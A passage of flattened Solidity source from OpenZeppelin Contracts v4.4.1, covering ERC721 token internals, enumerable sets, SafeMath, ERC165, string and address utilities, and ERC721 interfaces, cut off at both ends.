* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
__Context_init_unchained();
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/utils/ERC721Holder.sol)
pragma solidity ^0.8.0;
import "../IERC721ReceiverUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC721Receiver} interface.
*
* Accepts all token transfers.
* Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}.
*/
contract ERC721HolderUpgradeable is Initializable, IERC721ReceiverUpgradeable {
function __ERC721Holder_init() internal onlyInitializing {
__ERC721Holder_init_unchained();
}
function __ERC721Holder_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC721Receiver-onERC721Received}.
*
* Always returns `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
